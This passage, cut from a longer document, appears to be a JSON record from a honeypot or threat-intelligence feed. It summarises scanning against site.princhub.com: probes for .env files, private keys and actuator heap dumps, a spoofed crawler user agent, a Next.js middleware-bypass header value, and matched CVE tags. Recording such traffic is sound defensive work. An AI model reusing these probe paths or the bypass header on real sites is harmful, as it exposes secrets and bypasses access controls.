6874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)","ja3":"67560f98d68783bd640246df3052c151","session":"3896b1d8-8610-474b-bfe3-8a192c16e6ff","seq":28,"duration_ms":9756,"bytes_in":17451,"bytes_out":2184}],"http_methods":[{"method":"GET","count":86},{"method":"POST","count":7}],"distinct_ports_total":1,"top_paths":[{"path":"/graphql","count":2,"ports":1},{"path":"/actuator/mappings","count":2,"ports":1},{"path":"/debug/vars","count":2,"ports":1},{"path":"/env.bak","count":1,"ports":1},{"path":"/actuator/heapdump","count":1,"ports":1},{"path":"/.npmrc","count":1,"ports":1},{"path":"/.zshrc","count":1,"ports":1},{"path":"/key.pem","count":1,"ports":1},{"path":"/.env_1","count":1,"ports":1},{"path":"/ml/.env","count":1,"ports":1},{"path":"/api/v1/settings","count":1,"ports":1},{"path":"/.env.www","count":1,"ports":1},{"path":"/ssl/server.key","count":1,"ports":1},{"path":"/data/.env","count":1,"ports":1},{"path":"/temp/.env","count":1,"ports":1}],"distinct_paths_total":90,"top_snis":[{"value":"site.princhub.com","count":93}],"top_hosts":[{"value":"site.princhub.com","count":93}],"top_alpns":[{"value":"h2, http/1.1","count":93}],"banners":[],"credentials":[{"username":"","password":"bypass","count":1}],"header_profile":{"signature":["Accept","Accept-Encoding","Cdn-Loop","Cf-Connecting-Ip","Cf-Ipcountry","Cf-Ray","Cf-Visitor","Connection","Host","User-Agent","X-Forwarded-For","X-Forwarded-Proto","X-Middleware-Subrequest","X-Nextjs-Data"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip, br","notable":false},{"name":"Cdn-Loop","value":"cloudflare; loops=1","notable":false},{"name":"Cf-Connecting-Ip","value":"35.192.167.27","notable":false},{"name":"Cf-Ipcountry","value":"US","notable":false},{"name":"Cf-Ray","value":"a3eacd4a4c78375a-YYZ","notable":false},{"name":"Cf-Visitor","value":"{\"scheme\":\"https\"}","notable":false},{"name":"Connection","value":"Keep-Alive","notable":false},{"name":"Host","value":"site.princhub.com","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)","notable":false},{"name":"X-Forwarded-For","value":"35.192.167.27","notable":true},{"name":"X-Forwarded-Proto","value":"https","notable":true},{"name":"X-Middleware-Subrequest","value":"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware","notable":true},{"name":"X-Nextjs-Data","value":"1","notable":true}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]},{"tag_id":"CVE-2024-37152","tag_type":"cve","title":"Argo CD Unauthenticated Access to sensitive setting","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/v1/settings","reference_urls":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-87p9-x75h-p4j2","https://nvd.nist.gov/vuln/detail/CVE-2024-37152"]},{"tag_id":"CVE-2026-30928","tag_type":"cve","title":"Glances - Information Disclosure","severity":"HIGH","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/4/config","reference_urls":[]}],"data_as_of":"2026-09-21T21:51:06.425639+00:00"}